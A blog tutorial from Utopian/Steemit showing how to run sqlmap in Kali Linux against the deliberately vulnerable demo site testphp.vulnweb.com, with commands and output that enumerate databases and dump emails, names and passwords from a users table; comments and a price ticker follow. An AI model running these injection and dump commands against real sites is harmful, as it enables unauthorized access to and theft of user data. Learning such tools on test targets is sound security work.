Tutorial Penetration Tools #4 || How to Testing Website Vulnerability by using SqlMap in Kali Linux 2

in #utopian-io7 years ago (edited)

hh.jpg

What is a Sqlmap...?

SqlMap is an Open Source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities and taking over the server database. SqlMap is also one of the automated tools for finding the most popular and powerful website vulnerabilities. With vulnerable http request urls, sqlmap can exploit remote databases and can also extract database names, tables, columns, all data in tables, etc. It can even read and write files on remote file system under certain conditions.features on sqlmap

1.png

Function of SqlMap

as for some functions that exist in sqlmap :

  • Test the vulnerability and database security of a website
  • Exploit security vulnerabilities in application software
  • Perform an input filter for sending characters embedded in SQL statements or user inputs not typed correctly and unexpectedly executed.

Features of SqlMap

as for some features contained in Sqlmap :

  • Full support for MySQL database management system, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

  • Full support for six SQL Injection techniques: boolean-based blind, time-based blind, error-based, UNION queries, stacked queries and out-of-band.

  • Support to directly connect to the database without going through SQL Injection, by providing DBMS credentials, IP addresses, ports and database names.

  • Support for counting users, password hashes, privileges, roles, databases, tables and columns.

  • Automatic introduction of password hash formats and support for cracking using dictionary based attacks.

  • Support to remove the entire database table, the range of specific entries or columns according to user choice. Users can also choose to remove only the number of characters from each column entry.

  • Support for searching for specific database names, specific tables in all databases or specific columns in all database tables. This is useful, for example, to identify tables containing custom app credentials where the relevant column names contain strings such as names and passwords.

  • Support for downloading and uploading any files from the database server underlying the file system on MySQL database software, PostgreSQL or Microsoft SQL Server.

  • Support to execute random commands and retrieve their standard output on the database server underlying the operating system when database software is MySQL, PostgreSQL or Microsoft SQL Server.

Tutorial using SqlMap on Kali Linux 2

In this tutorial we will learn how to use sqlmap to exploit vulnerable web applications and see what can be done with Sqlmap.

Then open Sqlmap app on Kali Linux the following command :

Applications ->> Web Application Analysis ->> sqlmap

1.png

First, open the linux terminal then if we want to know the option on sqlmap we can use the command :

sqlmap -h

2.png

Note :

Then we specify a website that has a URL that we will test the vulnerability, for example here using the website "http: //testphp.vulnweb.com/listproducts.php?cat=11" which we test as knowledge about vulnerability analysis of a website.

Next, to do vulnerability testing on the target website we can use the command :

sqlmap –u http: //testphp.vulnweb.com/listproducts.php?cat=1 --dbs

3.png

Then when the message " how do you want to proceed? " Type command “ c ” to continue the testing process.
4.png

Furthermore, if the message "Do you want to keep testing the others (if any)? " Typing the command “ Y ” to continue the web vulnerability testing process.
6.png

Then after scanning the web vulnerability we find two databases on the target web : acuart and information_schema

Available databases [2] :

[*] acuart

[*] information_schema

7.png

Then go to the target database and find some tables in the database we can use the command :

sqlmap –u http: //testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

8.png

The databases target to be tested here are " acuart databases ". Then we find some tables contained there are acuart databases : artists, carts, categ, featured, guestbook, pictures, products, users.

+---------------+

| artists |

| carts |

| categ |

| featured |

| guestbook |

| pictures |

| products |

| users |

+---------------+

9.png

Finally, the target table in this test is the "users". Then to obtain the information email, name, and password contained in the table we can use the command :

sqlmap –u http: //testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users -C email, name, pass --dump

10.png

Then from the results of vulnerability testing on the web we can find some information of email, username and password on the database : "acuart" and table: "users"

database : acuart

Table : users

[1 entry]

+------------------------------------------------+

| email | name | pass |

+------------------------------------------------+

|email@emailcom |John smith | test |

+------------------------------------------------+

11.png

Syntax Description :

  • --dbs = to search database information

  • --tables = to search table information

  • **-D **= specifies the target database

  • -T = to specify the table in the database

  • -C = to specify coloumn on tabels

  • --dbs = to search database information

  • --tables = to search table information

  • **-D **= specifies the target database

  • -T = to specify the table in the database

  • -C = to specify coloumn on tabels

  • --dbs = to search database information

  • --tables = to search table information

  • **-D **= specifies the target database

  • -T = to specify the table in the database

  • -C = to specify coloumn on tabels

Curriculum

as for some Tutorials about Penetration Tools and Web Vulnerabilities on Kali Linux 2



Posted on Utopian.io - Rewarding Open Source Contributors

Sort:  

@fandimuhammad11, Approve is not my ability, but I can upvote you.

Thank you for the contribution. It has been approved.

You can contact us on Discord.
[utopian-moderator]

Hey @fandimuhammad11 I am @utopian-io. I have just upvoted you!

Achievements

  • You have less than 500 followers. Just gave you a gift to help you succeed!
  • Seems like you contribute quite often. AMAZING!

Suggestions

  • Contribute more often to get higher and higher rewards. I wish to see you often!
  • Work on your followers to increase the votes/rewards. I follow what humans do and my vote is mainly based on that. Good luck!

Get Noticed!

  • Did you know project owners can manually vote with their own voting power or by voting power delegated to their projects? Ask the project owner to review your contributions!

Community-Driven Witness!

I am the first and only Steem Community-Driven Witness. Participate on Discord. Lets GROW TOGETHER!

mooncryption-utopian-witness-gif

Up-vote this comment to grow my power and help Open Source contributions like this one. Want to chat? Join me on Discord https://discord.gg/Pc8HG9x

Congratulations @fandimuhammad11! You received a personal award!

1 Year on Steemit

Click here to view your Board

Support SteemitBoard's project! Vote for its witness and get one more award!

Congratulations @fandimuhammad11! You received a personal award!

Happy Birthday! - You are on the Steem blockchain for 2 years!

You can view your badges on your Steem Board and compare to others on the Steem Ranking

Vote for @Steemitboard as a witness to get one more award and increased upvotes!

Coin Marketplace

STEEM 0.17
TRX 0.15
JST 0.028
BTC 58148.81
ETH 2345.69
USDT 1.00
SBD 2.35